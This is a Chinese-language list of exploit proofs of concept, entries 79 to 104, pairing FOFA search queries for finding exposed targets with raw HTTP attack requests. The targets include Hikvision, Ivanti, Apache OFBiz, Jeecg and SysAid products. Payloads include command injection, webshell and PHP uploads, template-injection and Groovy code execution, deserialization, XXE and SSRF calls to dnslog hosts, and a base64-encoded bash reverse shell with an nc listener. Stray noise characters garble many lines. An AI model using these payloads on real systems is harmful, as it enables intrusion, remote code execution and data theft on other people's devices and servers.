Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
2 {) s% T7 _$ _4 R% M. B
& l0 B' b$ \+ y/ a. l7 q------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
. `9 Z9 ?( W- T* z) g' HContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
/ J& T' D: m! `, M+ C0 x+ u0 oContent-Disposition: form-data; name="target"
8 ^9 e: D( n1 q
4 @  }( {: M- ?2 F- @/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
% Z6 S5 H! N1 O, E" d7 y4 uHost: x.x.x.x

  r; b8 i8 j8 Y( M4 L9 u: O0 @
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
* F: C5 F0 O  _6 h9 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# O( y# J  n; ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  t8 @& O5 h7 \/ ^( aConnection: close
2 ]# x% g1 |" q0 w& ]Upgrade-Insecure-Requests: 1
9 K( d* K0 L% F) |" J

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
  Y+ y( n8 @! _0 f, T6 z$ ~Host: x.x.x.x
3 p  e. g2 g# F" f+ o" a, kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: a  k7 h! O; v. A' A0 R+ Y6 jContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 J9 i" p) Y# u5 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
* W8 F9 G; v$ U8 @Upgrade-Insecure-Requests: 1
8 G" D* S% j- y, T) R8 a) n
<% out.print("oessqeonylzaf");%>


$ [' R; i1 U0 [5 w, H  O) a* nGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
" {! R; j3 q7 H3 ~" D

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 M' Q# H8 ^( \FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
$ }2 F0 H. c6 v  k4 @8 T: I! k% _- mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ t) H3 f' |. r2 r8 P4 RConnection: close
( Y0 x7 Q: M7 Q/ p( ]Accept-Encoding: gzip
" a/ x9 l" @( E- S% N! x
) [% ]; c" A/ |! U) b: j- ?+ z
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
- Z0 P' S) i3 Z. o, n+ n* g: x2 ~User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
+ Z9 q' `. Q7 y! H: yContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

! L, x7 ^+ M. c1 W8 ^) j
, b  \" a8 y+ N. G, M) C5 l4 l83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
( g! n/ H5 p+ E5 ~& d" z
) E- u0 w% ~7 {0 V9 D; ^
POST /jmreport/testConnection HTTP/1.1
4 k) U! b$ o6 B: M+ ~Host: x.x.x.x
) b! n& ^* T9 R/ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 z9 F) S: [1 M: W! nConnection: close
0 L% C1 {3 o! OContent-Length: 8881
9 K7 V" d) f5 bAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
( I2 c& \) D7 {4 w( ]0 @. t+ bContent-Type: application/json
$ p9 l3 \$ S' d* a2 e
3 _, Y6 _' m! f3 \7 e- rPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
% ?+ h8 I/ h9 H; Y& P1 aFOFA：title=="JeecgBoot 企业级低代码平台"

5 u- L1 o8 R1 a. h3 T% L0 [
- W3 q$ f7 o0 C; z/ ^
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 n( o& l9 l* P' X& WHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
' u# S) I* k) N, \0 OContent-Length: 156
! u. q# m; ?7 lAccept: */*
( H& I2 |7 e! o8 K- Q3 BConnection: close
. w9 `$ D0 V# D0 s( U/ WContent-Type: application/json
Accept-Encoding: gzip
1 @7 G; b6 Z5 g- D. i1 B8 H
{
4 H" v8 \# J! m$ h/ K4 }  H# p "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
2 s2 y" u* \& j" l
; X% w3 O% E+ k
85. SysAid On-premise< 23.3.36远程代码执行
- y! D4 D5 c8 ]- E; ACVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% |* l. n" ]. V" d: JHost: x.x.x.x
" O% s( }4 q3 N) [) f$ TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
6 A5 C; K" X, u& B
/ K1 i- n! c0 C' BPAYLOAD

: a/ J0 O' x: P/ l+ d回显URL：http://x.x.x.x/userfiles/index.jsp
1 {6 x7 N1 w  _+ F! i
* p) t* T4 s' n7 l86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
3 p$ h# ]5 ?$ S/ r5 a5 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
3 w/ a8 V/ |' P( l/ [Content-Length: 44
Accept: */*
# i8 V2 C3 k, [1 A! ]Accept-Encoding: gzip
" @! p2 a) k3 _* V# `Accept-Language: en
Content-Type: application/x-www-form-urlencoded

7 z1 x* F. r) Z2 Phost=%0acat${IFS}/etc/passwd%0a&command=ping
) i" g( E8 M: s% R* _6 [& ~

87. 安恒明御安全网关aaa_local_web_preview文件上传
# x5 \9 I2 \. j! DFOFA：title="明御安全网关"
* t0 V& ^* h2 m  mPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
, D! k3 E8 h; A" _Host: X.X.X.X
, |7 C8 g: \9 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 C9 L/ h! D3 s$ KConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
2 v3 Q# M3 F: p9 _) z
9 J7 i8 U7 m/ Y, v& w# t& K* N7 w--qqobiandqgawlxodfiisporjwravxtvd
; d2 \( v6 r' K- J3 J7 k0 PContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
$ G0 e! x7 y1 Z+ w! y  }Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

1 _1 e* b/ V0 h, O# O
/jfhatuwe.php
0 w  A) G5 L# E6 E# w+ g7 l
' f$ I2 W  g& @6 q: ^0 F88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% z& G) H# Q7 J4 hAccept-Encoding: gzip, deflate
  S: y% l) s9 K7 d/ XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; `; y$ _( M: s, R7 x) \2 B

/astdfkhl.php
# }! [( d- ]% W- f4 ?2 o  B0 X; t! T+ v# N
. k& N* T7 {; N: n* p( o- s89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
  j& k& ?1 n' Q. [POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 u3 K- H/ ?( g) w2 RContent-Length: 41
0 p7 ?3 ?" c0 Y# x  |, ~Content-Type: application/x-www-form-urlencoded
/ E( r; r. J4 N( [8 [0 L) p: p5 sAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
! L( S! c, D* Q8 I0 E
( S5 z* a: b6 x5 P/ A& b
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
' b( U2 |( k6 P4 Z/ jFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
# n4 E% s/ |  e( @) U: X- TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
. C+ _* E# N" ~! P, zContent-Length: 51
6 Z; u* U3 t! [) i" o3 P3 n) AAccept: application/json, text/javascript, */*; q=0.01
) w! J5 ]  p% h0 @# F. oAccept-Encoding: gzip, deflate
. f$ C. z9 n) K! b$ o3 _- O4 ]* l& [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* V0 @% h6 b5 e9 }- F% WConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

2 V% y" }: S' Q) N, W1 f: g9 t% d
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% f/ n/ f. w; @" WFOFA：title="综合安防管理平台"
  B' G/ d* n# P0 eGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
6 j! n8 t: u" L3 N  h1 eHost: your-ip
9 |- \8 @! U% p  X' tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


9 T2 [! p8 f1 K3 w4 @
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
4 \4 T" m- I. j0 Z1 Whunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
/ C! {( @( j! hPOST /center/api/session HTTP/1.1
Host:
  z2 z# O5 B5 p' @& }Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
- {- O' [! X; B! W+ jX-Language-Type: zh_CN
Testcmd: echo test
1 i7 D  o$ _1 C9 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
9 V. h9 P; F) ~; HContent-Length: 5778

) C% q; ^1 e6 Y1 hPAYLOAD

4 {2 g1 G$ ]; m& G& s
* j+ F$ D4 K! @% s: \1 W93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
/ E  ]; }/ E8 Z) xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* O) x1 r5 y$ l6 R! c: z* ?; z; I
------WebKitFormBoundarykcbkgdfx
1 z# K( o' q% R4 d1 H! AContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
+ f, {( h  o1 t6 S* [& k) y------WebKitFormBoundarykcbkgdfx
& ?+ [1 r" b# Y- iContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
- n0 E$ g; q" t6 GContent-Type: text/plain

/ A8 O% C! K/ H8 L/ ]3 _& y3 H+ jwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
" E: y8 S6 |! t
, Z! @$ h$ N. C/ E. W# \8 Qobj_app_upfile
0 }7 i' W' H( ?( J& I# [------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
0 G5 \0 V8 x" Y" n: B
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
8 W& }" D" c0 H9 I  p' T  I6 M

: I" S5 z0 \0 f- b; Y: t' b" GGET /attachements/xlskxknxa.txt HTTP/1.1
& b3 s, Y( j& x! f$ x6 ~Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# ~7 \# k4 o. U* W

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
3 N6 E3 o8 y7 ]7 t9 o8 uFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
% W' O8 m* ]2 t5 |POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
9 z1 H) {8 ~& N8 u: w  V- f+ XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- j( y5 ]9 m% I) f. L8 `" X/ j
------WebKitFormBoundarybqvzqvmt
& l# U& c# v$ `Content-Disposition: form-data; name="MAX_FILE_SIZE"

, ]) ~% X( C( j1 z5 w# M10000000
! @* m' F) b8 x------WebKitFormBoundarybqvzqvmt
7 M. o) ?9 V4 C8 b/ f; o5 z! tContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

# }2 P3 o' p( N) Bpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
/ \- K$ w4 b* W# u: n5 G. fContent-Disposition: form-data; name="submit_post"

* h* _) S! ~9 J/ O5 M! ^obj_app_upfile
' ~9 K, {$ E* o9 a( F5 M. t5 h0 A, P( {------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

3 p; v6 i& S. b$ s' o6 z3 Z0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
: K% t1 w' _- k2 T+ e) {3 ?& t


; p' L0 t7 Y" F) A, `GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

# S, L1 e* q( r$ e
/ y* `. m5 Z# `( P
+ {5 e$ ~' n+ W6 J95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
: z; ?5 W0 c, _8 H" T# ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
/ s" k* I$ I* g/ ]" qHost: x.x.x.x
# K7 I' Q. s3 N: `" wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
5 F8 m: v3 c$ A# ]4 A1 ~2 ]; T3 SContent-Length: 889
Content-Type: application/xml
! Q' R" y+ G- L( O6 HAccept-Encoding: gzip

<?xml version="1.0"?>
2 B* s+ I1 K1 S- [  o0 }<methodCall>
7 c- @. A# T9 o3 a3 r2 Z0 p   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
* ^% Z4 a4 s0 ~6 R6 |      <param>
      <value>
9 z$ s( U, P& o; E        <struct>
0 `$ R+ e! L& ?& V3 u7 W       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
, }( C0 Y/ w7 r: Y          </value>
        </member>
& {( Y3 ]* N( @# ^( I, I9 L      </struct>
$ V$ C5 w2 N7 Q      </value>
    </param>
; V- Z. |# ?7 ]& |$ a5 x8 A    </params>
</methodCall>

6 W' G2 x& V  O2 |! U$ t8 L, i
( ^, [6 Z9 p3 ?用ysoserial生成payload
8 O/ ], z- @$ W  B* r: t4 }! ljava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 h9 f/ k: [) A! e
' u$ m8 L0 I5 a7 I- _# Z6 ]
. ]0 n# Z" `  G  l/ E: P1 v0 H将生成的payload替换到上面的POC
. p+ n0 n, q# G# A; uPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
3 M; L' x2 ]' h! C2 i. kHost: 192.168.40.130:8443
" c6 m& D1 j. J* _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' F- O* j6 ]2 N$ m* P) ?. _) c- IConnection: close
% l3 c, ?# W8 zContent-Length: 889
Content-Type: application/xml
3 @7 ~% o/ I, VAccept-Encoding: gzip

8 o3 K0 h+ h0 C+ J7 s: o5 BPAYLOAD
$ N0 T" p4 N, p9 h( h  W. M) J
! C5 D! y. W3 j6 S6 S) J8 i+ _96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 Q- y; G9 o" [4 ]. C  q& l& i) gFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
# y/ I1 l: p9 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& R3 }5 e+ q8 d$ V  s( PAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  L2 V9 u, }/ W5 CContent-Type: application/x-www-form-urlencoded
Content-Length: 55
+ K8 V) v9 C# E3 a8 A: X
groovyProgram=throw+new+Exception('id'.execute().text);
; j( S/ n8 B( b& E- \8 Z* R4 ]

% h1 f: O$ H2 w- Q1 h反弹shell
在kali上启动一个监听
nc -lvp 7777

7 m, h3 L, s. _* F# hPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ c: M; T5 A3 f) @/ YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
* [, p: j  E$ yContent-Length: 71
7 x7 q* O3 C- X& m4 {
# |: t4 e" J8 ugroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
- m$ }; L. m: P% x4 Z/ `% kGET /passport/login/ HTTP/1.1
& I& C! q: M! d# B% _1 NHost: 192.168.40.130:8085
. Y- L, e& k) C( P) W' F& JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 i. v+ O1 O- Q' T2 Q3 rAccept-Encoding: gzip
7 s& H) F5 r6 k3 ?+ WConnection: close
: F+ V" S, c  t* n+ L; @& jCookie: rememberMe=PAYLOAD
: J( {5 o0 d  F2 K2 rX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
/ @# E. s" k8 i- Q' @" t% F: j1 r

98. SpiderFlow爬虫平台远程命令执行
  A4 ^$ D& o: _; XCVE-2024-0195
' S0 a! h; A. f# C  [1 {# |FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
1 M  j7 \5 {; V* l) b4 ]Host: 192.168.40.130:8088
4 n% b1 z4 v' _/ @/ p. I! ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 b( V( g# v/ B% r* O3 m# YConnection: close
* Y+ B. J+ z) E# ?5 @Content-Length: 121
Accept: */*
1 Y1 P- v3 ~$ B9 g% W' QAccept-Encoding: gzip, deflate
8 Y  [! y* w& \# u& KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, }# y9 z8 S" H" `Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
& {7 W/ {3 V( s7 R6 v
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


& _1 Z& B/ @7 V8 Z' K3 [99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
' Q, z4 @. A. {- [POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
' @" |9 b& W- X3 W3 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ s1 M! q0 T0 c! A7 ?0 j5 q4 G1 ?* BConnection: close
Content-Length: 154
$ u  R, W- m$ h+ _Accept: */*
  t- g3 b0 d7 m' CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& [; x/ [9 A9 v8 g" G# l7 q8 Y0 mContent-Type: application/x-www-form-urlencoded; charset=UTF-8
4 C6 c4 d9 q* _. Y9 a. E; {X-Requested-With: XMLHttpRequest
8 Z4 G, Z  G8 x1 M! ]/ \, b7 ^
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
. ~( ?. Y+ j6 \% t) X: \
7 A/ K4 |5 L4 @6 c) O
6 v& R% j' j, {8 w/ T. l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
0 r; L% F" [4 f9 R+ Y: Z  bFOFA：icon_hash="874152924"
9 o" i- j2 y4 k* A5 D. [: R  z% x0 HPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 Q/ V. V! k  m2 F* o, `1 t+ Q; yConnection: close
Content-Length: 201
8 ~( }+ d* N9 X0 l5 m5 m# `Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
1 C  K: T3 M/ g/ ~8 v8 a/ n5 g4 mAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
+ e7 K! ^4 {* X% fContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
$ j" o: s( |) f" j- [
' G5 m' U: B, n  F2ayyhRXiAsKXL8olvF5s4qqyI2O
. i7 o+ B. l0 b3 i  B------WebKitFormBoundarygcflwtei--
6 ~5 G+ r5 w9 P/ g4 Y9 f

101. ivanti policy secure-22.6命令注入
/ _5 l7 Y4 T1 ~9 h3 Q9 rCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 }/ i6 t* j5 y) E3 c! lAccept-Encoding: gzip


* t3 }# @8 T* {$ r% H: O5 T102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
* ?( R+ C4 ~2 B* VCVE-2024-21893
' x; z* ^% a: ~  M  @! N6 @) k! YFOFA：body="welcome.cgi?p=logo"
. z  H- I' d2 z1 L/ l, D2 N  t6 X9 n5 _POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 p+ _8 _- U) ^Connection: close
- i. Q  e! p3 N' }' i! w& zContent-Length: 792
! n: o0 T9 y/ I1 DAccept-Encoding: gzip
$ ^9 Q& a4 I# \# {7 X
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
9 p2 Z' r9 d5 Y  \: w7 U
) k# l5 p* h- U; _103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
5 {* u5 E. N$ sHost: 192.168.40.130:111
$ t8 `# t1 ]2 {9 IUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( I2 k; L4 k9 a/ U- v, {. ?Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* U1 r$ K* d2 z" F% L7 m( b$ s
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
. d" N& @3 w- j) c7 J) e% D; m6 l1 a

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
. Z- B* B: A% H1 j' C7 C4 g<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
0 `: W/ B7 u) G' ~# w) I
& T/ t- o* p4 ^5 V, J4 _
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. J( V' X1 E6 ^& t5 J. ]CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
